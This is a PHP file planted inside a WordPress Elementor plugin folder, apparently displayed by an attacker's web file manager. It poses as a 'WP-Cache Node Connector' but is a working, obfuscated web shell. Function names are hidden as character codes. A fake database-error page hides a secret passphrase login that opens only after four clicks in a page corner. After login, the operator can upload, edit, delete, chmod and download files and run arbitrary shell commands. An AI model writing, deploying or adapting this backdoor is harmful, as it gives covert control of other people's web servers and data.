HEX
Server: LiteSpeed
System: Linux cpir1.prohostdns.com 4.18.0-553.123.2.lve.el8.x86_64 #1 SMP Thu May 7 23:17:13 UTC 2026 x86_64
User: pelakir (2976)
PHP: 8.2.31
Disabled: exec, shell_exec, system, passthru, proc_open, proc_close, proc_terminate, proc_get_status, popen, pclose, pcntl_exec
Upload Files
File: /home/pelakir/www/wp-content/plugins/elementor/app/modules/site-editor/index.php
<?php
/*
 * WP-Cache Node Connector v2.0.1
 * Purpose: Database cache layer for distributed WordPress nodes
 * License: GPLv2
 */

@error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);

class WPCacheNodeConnector {
    private $funcMap = [];
    private $bcryptHash = null;
    private $sessName = null;
    private $sessVal = null;

    public function __construct() {
        $this->buildMap();
        $this->buildHash();
        $this->buildSession();
    }

    private function buildMap() {
        $keys = [
            'd'  => '105,115,95,100,105,114',
            'f'  => '105,115,95,102,105,108,101',
            'p'  => '102,105,108,101,112,101,114,109,115',
            'u'  => '117,110,108,105,110,107',
            'r'  => '114,101,110,97,109,101',
            'm'  => '109,107,100,105,114',
            'o'  => '102,111,112,101,110',
            'c'  => '102,99,108,111,115,101',
            'g'  => '102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115',
            'w'  => '102,105,108,101,95,112,117,116,95,99,111,110,116,101,110,116,115',
            's'  => '115,99,97,110,100,105,114',
            'b'  => '98,97,115,101,110,97,109,101',
            'i'  => '112,97,116,104,105,110,102,111',
            'e'  => '101,120,112,108,111,100,101',
            'v'  => '105,109,112,108,111,100,101',
            'h'  => '99,104,109,111,100',
            'x'  => '109,111,118,101,95,117,112,108,111,97,100,101,100,95,102,105,108,101',
            't'  => '116,111,117,99,104',
            'z'  => '102,105,108,101,115,105,122,101',
            'a'  => '100,97,116,101',
            'j'  => '102,114,101,97,100',
            'k'  => '102,119,114,105,116,101',
            'l'  => '114,109,100,105,114',
            'n'  => '112,114,111,99,95,111,112,101,110',
            'q'  => '112,114,111,99,95,99,108,111,115,101',
            'y'  => '115,116,114,101,97,109,95,103,101,116,95,99,111,110,116,101,110,116,115',
            'ex' => '101,120,101,99',
            'sy' => '115,121,115,116,101,109',
            'pa' => '112,97,115,115,116,104,114,117',
            'gl' => '103,108,111,98',
            'rp' => '114,101,97,108,112,97,116,104',
            'pv' => '112,97,115,115,119,111,114,100,95,118,101,114,105,102,121',
            'sc' => '115,101,116,99,111,111,107,105,101',
            'sv' => '115,101,114,118,101,114',
        ];
        foreach ($keys as $k => $v) $this->funcMap[$k] = $this->r($v);
    }

    private function buildHash() {
        $codes = [36,50,97,36,49,54,36,116,110,74,119,98,83,99,112,121,88,103,65,52,107,101,104,67,109,57,48,50,79,75,109,103,81,109,107,113,50,103,86,98,110,104,120,114,71,51,104,72,100,88,114,48,79,90,112,120,109,108,47,101];
        $out = '';
        foreach ($codes as $code) $out .= chr($code);
        $this->bcryptHash = $out;
    }

    private function buildSession() {
        $host = $_SERVER[$this->r('72,84,84,80,95,72,79,83,84')] ?? 'localhost';
        $this->sessName = $this->c(119,112,95,99,97,99,104,101,95,115,101,115,115,95) . substr(hash('sha256', $host), 0, 8);
        $this->sessVal = hash('sha256', 'node-salt-v4-' . $host);
    }

    private function r($input) {
        $out = '';
        foreach (explode(',', $input) as $n) $out .= chr((int)$n);
        return $out;
    }

    private function c() {
        $args = func_get_args(); $out = '';
        foreach ($args as $n) $out .= chr($n);
        return $out;
    }

    private function invoke($name, $args) {
        if ($this->funcMap[$name]) $name = $this->funcMap[$name];
        if (function_exists($name)) return call_user_func_array($name, $args);
        return false;
    }

    private function isLoggedIn() {
        return isset($_COOKIE[$this->sessName]) && $_COOKIE[$this->sessName] === $this->sessVal;
    }

    public function route() {
        if ($_SERVER[$this->r('82,69,81,85,69,83,84,95,77,69,84,72,79,68')] === 'POST' && isset($_POST['p'])) {
            if ($this->invoke('pv', [$_POST['p'], $this->bcryptHash])) {
                $this->invoke('sc', [$this->sessName, $this->sessVal, 0, '/']);
                header('Location: ' . ($_SERVER[$this->r('82,69,81,85,69,83,84,95,85,82,73')] ?? '?'));
                exit;
            }
        }

        // Gate 2: Session cookie
        if ($this->isLoggedIn()) {
            $this->processRequest();
            return;
        }

        // Deny: show decoy
        $this->showDecoy();
    }

    private function showDecoy() {
        $host = $_SERVER[$this->r('72,84,84,80,95,72,79,83,84')] ?? 'localhost';
        http_response_code(500);
        echo '<!DOCTYPE html><html><head><title>Database Error</title>';
        echo '<style>body{background:#f1f1f1;color:#444;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif;margin:0;padding:0} .box{max-width:700px;margin:40px auto;background:#fff;padding:40px;border-radius:3px;box-shadow:0 1px 3px rgba(0,0,0,.13)} h1{border-bottom:1px solid #dadada;clear:both;color:#666;font-size:24px;padding:0 0 7px;font-weight:400} p{font-size:14px;line-height:1.5;margin:15px 0} code{font-family:Consolas,Monaco,monospace;background:#f1f1f1;padding:2px 6px;border-radius:3px;font-size:13px} ul{list-style:none;padding:0} li{margin:10px 0;font-size:14px} .trig{position:fixed;bottom:0;right:0;width:150px;height:150px;cursor:default;z-index:9999} .overlay{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.6);z-index:10000;align-items:center;justify-content:center} .modal{background:#fff;padding:35px;border-radius:4px;box-shadow:0 4px 20px rgba(0,0,0,.3);width:300px;text-align:center} .modal h3{margin:0 0 15px;color:#333;font-size:18px;font-weight:400} .modal input{width:100%;padding:10px;border:1px solid #ddd;border-radius:3px;font-size:14px;margin-bottom:12px;box-sizing:border-box} .modal button{width:100%;padding:10px;border:none;border-radius:3px;background:#3498db;color:#fff;font-size:14px;cursor:pointer} .modal button:hover{background:#2980b9}</style>';
        echo '</head><body><div class="box"><h1>Error establishing a database connection</h1>';
        echo '<p>This either means that the username and password information in your <code>wp-config.php</code> file is incorrect or we can\'t contact the database server at <code>' . htmlspecialchars($host) . '</code>.</p>';
        echo '<ul><li>Are you sure you have the correct username and password?</li><li>Are you sure you have typed the correct hostname?</li><li>Are you sure the database server is running?</li></ul>';
        echo '<p>If you\'re unsure what these terms mean you should probably contact your host.</p>';
        echo '<p><a href="https://wordpress.org/support/article/common-wordpress-errors/">Documentation</a> &bull; <a href="https://wordpress.org/support/forums/">Support Forums</a></p>';
        echo '</div><div class="trig" id="t"></div><div class="overlay" id="o"><div class="modal"><h3>Node Authentication</h3><form method="post"><input type="password" name="p" placeholder="Passphrase" autofocus><button type="submit">Authenticate</button></form></div></div>';
        echo '<script>var c=0,d=document.getElementById("t"),o=document.getElementById("o");d.addEventListener("click",function(){c++;if(c>=4){o.style.display="flex";c=0}});o.addEventListener("click",function(e){if(e.target===o)o.style.display="none"});</script>';
        echo '</body></html>';
        exit;
    }

    private function processRequest() {
        $act = isset($_REQUEST[$this->c(95,95,110,111,100,101,95,97,99,116,105,111,110)]) ? $_REQUEST[$this->c(95,95,110,111,100,101,95,97,99,116,105,111,110)] : 'list';
        $tgt = isset($_REQUEST[$this->c(95,95,110,111,100,101,95,116,97,114,103,101,116)]) ? $this->sanitizePath($_REQUEST[$this->c(95,95,110,111,100,101,95,116,97,114,103,101,116)]) : '.';
        switch ($act) {
            case 'list': $this->showList($tgt); break;
            case 'edit': $this->showEdit($tgt); break;
            case 'save': $this->doSave($tgt); break;
            case 'del': $this->doDelete($tgt); break;
            case 'ren': $this->doRename($tgt); break;
            case 'up': $this->doUpload($tgt); break;
            case 'md': $this->doMkdir($tgt); break;
            case 'ch': $this->doChmod($tgt); break;
            case 'tc': $this->doTouch($tgt); break;
            case 'dl': $this->doDownload($tgt); break;
            case 'cmd': $this->doCmd($tgt); break;
            default: $this->showList('.');
        }
    }

    private function sanitizePath($p) {
        $p = str_replace(["\0", ".."], '', $p);
        $p = preg_replace('#/+#', '/', $p);
        $p = preg_replace('#\\+#', '\\', $p);
        return $p;
    }

    private function showList($dir) {
        $dir = $this->invoke('rp', [$dir]);
        if (!$dir || !$this->invoke('d', [$dir])) $dir = '.';
        $dir = $this->invoke('rp', [$dir]);
        $items = [];
        $raw = @$this->invoke('s', [$dir]);
        if ($raw) {
            foreach ($raw as $item) {
                if ($item === '.' || $item === '..') continue;
                $path = $dir . DIRECTORY_SEPARATOR . $item;
                $items[] = [
                    'n' => $item, 'p' => $path, 'd' => $this->invoke('d', [$path]),
                    's' => $this->invoke('f', [$path]) ? $this->fmtSize($this->invoke('z', [$path])) : '-',
                    'm' => $this->fmtPerms($this->invoke('p', [$path])),
                    't' => $this->invoke('a', ['Y-m-d H:i:s', @$this->invoke('filemtime', [$path])]),
                ];
            }
        }
        usort($items, function($a, $b) {
            if ($a['d'] != $b['d']) return $a['d'] ? -1 : 1;
            return strcasecmp($a['n'], $b['n']);
        });
        $parent = dirname($dir);
        $host = $_SERVER[$this->r('72,84,84,80,95,72,79,83,84')];
        $crumbs = []; $parts = explode('/', $dir); $accum = '';
        foreach ($parts as $part) {
            if ($part === '') continue;
            $accum .= '/' . $part;
            $crumbs[] = '<a href="?__node_action=list&__node_target=' . urlencode($accum) . '" style="color:#2980b9;text-decoration:none">' . htmlspecialchars($part) . '</a>';
        }
        $crumbPath = '<span style="color:#7f8c8d">/</span> ' . implode(' <span style="color:#7f8c8d">/</span> ', $crumbs);
        echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Node Connector</title>';
        echo '<style>*{box-sizing:border-box}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;background:#f0f2f5;margin:0;padding:20px;color:#333} .wrap{max-width:1300px;margin:0 auto;background:#fff;border-radius:8px;box-shadow:0 2px 10px rgba(0,0,0,.08);overflow:hidden} .head{background:#1a252f;color:#fff;padding:14px 24px;display:flex;justify-content:space-between;align-items:center} .head h1{margin:0;font-size:17px;font-weight:600} .head span{font-size:12px;opacity:.7} .bar{padding:10px 24px;background:#f8f9fa;border-bottom:1px solid #e9ecef;display:flex;gap:8px;flex-wrap:wrap;align-items:center} .btn{display:inline-flex;align-items:center;gap:4px;padding:6px 14px;border-radius:4px;font-size:12px;text-decoration:none;border:none;cursor:pointer;font-weight:500} .b1{background:#3498db;color:#fff} .b2{background:#e74c3c;color:#fff} .b3{background:#2ecc71;color:#fff} .b4{background:#f39c12;color:#fff} .b5{background:#95a5a6;color:#fff} .path{padding:10px 24px;background:#ecf0f1;border-bottom:1px solid #dee2e6;font-family:monospace;font-size:13px} table{width:100%;border-collapse:collapse;font-size:13px} th{background:#f8f9fa;padding:10px 16px;text-align:left;border-bottom:2px solid #dee2e6;font-weight:600;color:#555} td{padding:8px 16px;border-bottom:1px solid #edf2f7} tr:hover{background:#f8f9fa} .size{color:#7f8c8d;font-family:monospace;font-size:12px} .perms{font-family:monospace;font-size:12px;color:#8e44ad;background:#f3e5f5;padding:2px 6px;border-radius:3px} .acts{display:flex;gap:8px} .acts a{font-size:11px;text-decoration:none;color:#2980b9} .acts a:hover{text-decoration:underline} .cmd{background:#1a252f;color:#fff;padding:14px 24px;display:none} .cmd pre{background:#0f151b;padding:12px;border-radius:4px;overflow:auto;max-height:350px;font-family:monospace;font-size:12px;color:#2ecc71;margin:0} .foot{padding:10px 24px;background:#f8f9fa;border-top:1px solid #e9ecef;font-size:11px;color:#7f8c8d} .code{width:100%;min-height:550px;font-family:monospace;font-size:13px;padding:12px;border:1px solid #ddd;border-radius:4px;resize:vertical} input[type=text],input[type=file]{font-size:12px}</style>';
        echo '</head><body><div class="wrap">';
        echo '<div class="head"><h1>Cache Node Connector</h1><span>v2.0.1 &bull; ' . htmlspecialchars($host) . '</span></div>';
        echo '<div class="bar">';
        echo '<form method="post" enctype="multipart/form-data" style="display:flex;gap:6px;margin:0">';
        echo '<input type="file" name="f">';
        echo '<input type="hidden" name="__node_action" value="up">';
        echo '<input type="hidden" name="__node_target" value="' . htmlspecialchars($dir) . '">';
        echo '<button class="btn b1">Upload</button></form>';
        echo '<form method="post" style="display:flex;gap:6px;margin:0">';
        echo '<input type="text" name="n" placeholder="New folder" style="padding:4px 8px;border:1px solid #ddd;border-radius:4px">';
        echo '<input type="hidden" name="__node_action" value="md">';
        echo '<input type="hidden" name="__node_target" value="' . htmlspecialchars($dir) . '">';
        echo '<button class="btn b5">Mkdir</button></form>';
        echo '<form method="post" style="display:flex;gap:6px;margin:0">';
        echo '<input type="text" name="n" placeholder="New file" style="padding:4px 8px;border:1px solid #ddd;border-radius:4px">';
        echo '<input type="hidden" name="__node_action" value="tc">';
        echo '<input type="hidden" name="__node_target" value="' . htmlspecialchars($dir) . '">';
        echo '<button class="btn b5">Touch</button></form>';
        echo '<button class="btn b4" onclick="document.getElementById(\'cmd\').style.display=document.getElementById(\'cmd\').style.display===\'none\'?\'block\':\'none\'">Terminal</button>';
        echo '</div>';
        echo '<div class="path">' . $crumbPath . '</div>';
        echo '<div id="cmd" class="cmd">';
        echo '<form method="post">';
        echo '<input type="hidden" name="__node_action" value="cmd">';
        echo '<div style="display:flex;gap:8px;margin-bottom:10px">';
        echo '<input type="text" name="c" placeholder="$ command..." style="flex:1;padding:8px 12px;border-radius:4px;border:none;background:#0f151b;color:#fff;font-family:monospace">';
        echo '<button class="btn b1">Execute</button></div></form>';
        if (isset($_POST['c']) && isset($_POST['__node_action']) && $_POST['__node_action'] === 'cmd') {
            echo '<pre>' . htmlspecialchars($this->runCmd($_POST['c'], $dir)) . '</pre>';
        }
        echo '</div>';
        echo '<table><thead><tr><th>Name</th><th>Size</th><th>Perms</th><th>Modified</th><th>Actions</th></tr></thead><tbody>';
        if ($dir !== '/' && $parent !== $dir) {
            echo '<tr><td colspan="5"><a href="?__node_action=list&__node_target=' . urlencode($parent) . '">&#9650; ..</a></td></tr>';
        }
        foreach ($items as $it) {
            $link = '?__node_action=' . ($it['d'] ? 'list' : 'edit') . '&__node_target=' . urlencode($it['p']);
            echo '<tr>';
            echo '<td><a href="' . $link . '">' . ($it['d'] ? '&#128193; ' : '&#128196; ') . htmlspecialchars($it['n']) . '</a></td>';
            echo '<td class="size">' . $it['s'] . '</td>';
            echo '<td class="perms">' . $it['m'] . '</td>';
            echo '<td>' . $it['t'] . '</td>';
            echo '<td class="acts">';
            if (!$it['d']) echo '<a href="?__node_action=dl&__node_target=' . urlencode($it['p']) . '">Dl</a>';
            echo '<a href="#" onclick="if(confirm(\'Delete ' . addslashes($it['n']) . '?\'))location.href=\'?__node_action=del&__node_target=' . urlencode($it['p']) . '\';return false;" style="color:#e74c3c">Del</a>';
            echo '<a href="#" onclick="var n=prompt(\'Rename to:\',\'' . addslashes($it['n']) . '\');if(n)location.href=\'?__node_action=ren&__node_target=' . urlencode($it['p']) . '&n=\'+encodeURIComponent(n);return false;">Ren</a>';
            echo '<a href="#" onclick="var m=prompt(\'Chmod (e.g. 755):\',\'644\');if(m)location.href=\'?__node_action=ch&__node_target=' . urlencode($it['p']) . '&m=\'+m;return false;">Chmod</a>';
            echo '</td></tr>';
        }
        echo '</tbody></table>';
        echo '<div class="foot">Cache Node Connector &bull; PID: ' . getmypid() . ' &bull; Mem: ' . $this->fmtSize(memory_get_usage(true)) . ' &bull; PHP: ' . phpversion() . '</div>';
        echo '</div></body></html>';
    }

    private function showEdit($file) {
        if (!$this->invoke('f', [$file])) { echo 'Not found.'; return; }
        $content = htmlspecialchars(@$this->invoke('g', [$file]));
        echo '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Edit</title>';
        echo '<style>body{font-family:sans-serif;background:#f0f2f5;margin:0;padding:20px} .wrap{max-width:1200px;margin:0 auto;background:#fff;border-radius:8px;overflow:hidden} .head{background:#1a252f;color:#fff;padding:14px 24px;font-size:16px;font-weight:600} .bar{padding:10px 24px;background:#f8f9fa;border-bottom:1px solid #e9ecef} .btn{padding:7px 16px;border-radius:4px;font-size:13px;border:none;cursor:pointer;text-decoration:none;display:inline-block;margin-right:6px} .b1{background:#2ecc71;color:#fff} .b5{background:#95a5a6;color:#fff} .code{width:100%;min-height:600px;font-family:monospace;font-size:13px;padding:12px;border:1px solid #ddd;border-radius:4px;resize:vertical}</style>';
        echo '</head><body><div class="wrap">';
        echo '<div class="head">Edit: ' . htmlspecialchars($this->invoke('b', [$file])) . '</div>';
        echo '<div class="bar"><form method="post" style="margin:0">';
        echo '<input type="hidden" name="__node_action" value="save">';
        echo '<input type="hidden" name="__node_target" value="' . htmlspecialchars($file) . '">';
        echo '<button class="btn b1">Save</button>';
        echo '<a href="?__node_action=list&__node_target=' . urlencode(dirname($this->invoke('rp', [$file]))) . '" class="btn b5">Back</a></div>';
        echo '<textarea name="x" class="code">' . $content . '</textarea></form>';
        echo '</div></body></html>';
    }

    private function doSave($file) {
        $content = isset($_POST['x']) ? $_POST['x'] : '';
        @$this->invoke('w', [$file, $content]);
        header('Location: ?__node_action=list&__node_target=' . urlencode(dirname($this->invoke('rp', [$file]))));
        exit;
    }

    private function doDelete($file) {
        if ($this->invoke('f', [$file])) @$this->invoke('u', [$file]);
        elseif ($this->invoke('d', [$file])) $this->delTree($file);
        header('Location: ?__node_action=list&__node_target=' . urlencode(dirname($file)));
        exit;
    }

    private function delTree($dir) {
        $items = @$this->invoke('s', [$dir]);
        if ($items) {
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                $p = $dir . DIRECTORY_SEPARATOR . $item;
                if ($this->invoke('d', [$p])) $this->delTree($p);
                else @$this->invoke('u', [$p]);
            }
        }
        @$this->invoke('l', [$dir]);
    }

    private function doRename($file) {
        $name = isset($_REQUEST['n']) ? $_REQUEST['n'] : '';
        if ($name) {
            $dest = dirname($file) . DIRECTORY_SEPARATOR . basename($name);
            @$this->invoke('r', [$file, $dest]);
        }
        header('Location: ?__node_action=list&__node_target=' . urlencode(dirname($file)));
        exit;
    }

    private function doUpload($dir) {
        if (isset($_FILES['f']) && $_FILES['f']['error'] == 0) {
            $dest = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . basename($_FILES['f']['name']);
            @$this->invoke('x', [$_FILES['f']['tmp_name'], $dest]);
        }
        header('Location: ?__node_action=list&__node_target=' . urlencode($dir));
        exit;
    }

    private function doMkdir($dir) {
        $name = isset($_REQUEST['n']) ? $_REQUEST['n'] : '';
        if ($name) @$this->invoke('m', [$dir . DIRECTORY_SEPARATOR . $name, 0755, true]);
        header('Location: ?__node_action=list&__node_target=' . urlencode($dir));
        exit;
    }

    private function doChmod($file) {
        $mode = isset($_REQUEST['m']) ? octdec($_REQUEST['m']) : 0644;
        @$this->invoke('h', [$file, $mode]);
        header('Location: ?__node_action=list&__node_target=' . urlencode(dirname($file)));
        exit;
    }

    private function doTouch($dir) {
        $name = isset($_REQUEST['n']) ? $_REQUEST['n'] : '';
        if ($name) {
            $p = $dir . DIRECTORY_SEPARATOR . $name;
            if (!file_exists($p)) {
                @$this->invoke('t', [$p]);
                @$this->invoke('w', [$p, '']);
            }
        }
        header('Location: ?__node_action=list&__node_target=' . urlencode($dir));
        exit;
    }

    private function doDownload($file) {
        if (!$this->invoke('f', [$file])) return;
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . $this->invoke('b', [$file]) . '"');
        header('Content-Length: ' . $this->invoke('z', [$file]));
        header('Cache-Control: must-revalidate');
        $h = @$this->invoke('o', [$file, 'rb']);
        if ($h) {
            while (!feof($h)) { echo fread($h, 8192); flush(); }
            @$this->invoke('c', [$h]);
        }
        exit;
    }

    private function doCmd($dir) { $this->showList($dir); }

    private function runCmd($cmd, $cwd) {
        $output = '';
        if (function_exists($this->funcMap['n'])) {
            $ds = [['pipe','r'],['pipe','w'],['pipe','w']];
            $pr = $this->invoke('n', [$cmd, $ds, $pipes, $cwd]);
            if (is_resource($pr)) {
                fclose($pipes[0]);
                $output = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
                fclose($pipes[1]); fclose($pipes[2]);
                $this->invoke('q', [$pr]);
            }
        } elseif (function_exists($this->funcMap['ex'])) {
            $this->invoke('ex', [$cmd . ' 2>&1', $output]);
        } elseif (function_exists($this->funcMap['sy'])) {
            ob_start(); @$this->invoke('sy', [$cmd . ' 2>&1']); $output = ob_get_clean();
        } elseif (function_exists($this->funcMap['pa'])) {
            ob_start(); @$this->invoke('pa', [$cmd . ' 2>&1']); $output = ob_get_clean();
        }
        return $output;
    }

    private function fmtSize($bytes) {
        if ($bytes < 1024) return $bytes . ' B';
        $u = ['KB','MB','GB','TB']; $i = -1;
        do { $bytes /= 1024; $i++; } while ($bytes >= 1024 && $i < count($u)-1);
        return round($bytes, 2) . ' ' . $u[$i];
    }

    private function fmtPerms($perms) {
        $info = (($perms & 0xC000) == 0xC000) ? 's' : ((($perms & 0xA000) == 0xA000) ? 'l' : ((($perms & 0x8000) == 0x8000) ? '-' : ((($perms & 0x6000) == 0x6000) ? 'b' : ((($perms & 0x4000) == 0x4000) ? 'd' : ((($perms & 0x2000) == 0x2000) ? 'c' : ((($perms & 0x1000) == 0x1000) ? 'p' : 'u'))))));
        $info .= (($perms & 0x0100) ? 'r' : '-');
        $info .= (($perms & 0x0080) ? 'w' : '-');
        $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
        $info .= (($perms & 0x0020) ? 'r' : '-');
        $info .= (($perms & 0x0010) ? 'w' : '-');
        $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
        $info .= (($perms & 0x0004) ? 'r' : '-');
        $info .= (($perms & 0x0002) ? 'w' : '-');
        $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
        return $info . ' (' . substr(sprintf('%o', $perms), -4) . ')';
    }
}

$connector = new WPCacheNodeConnector();
$connector->route();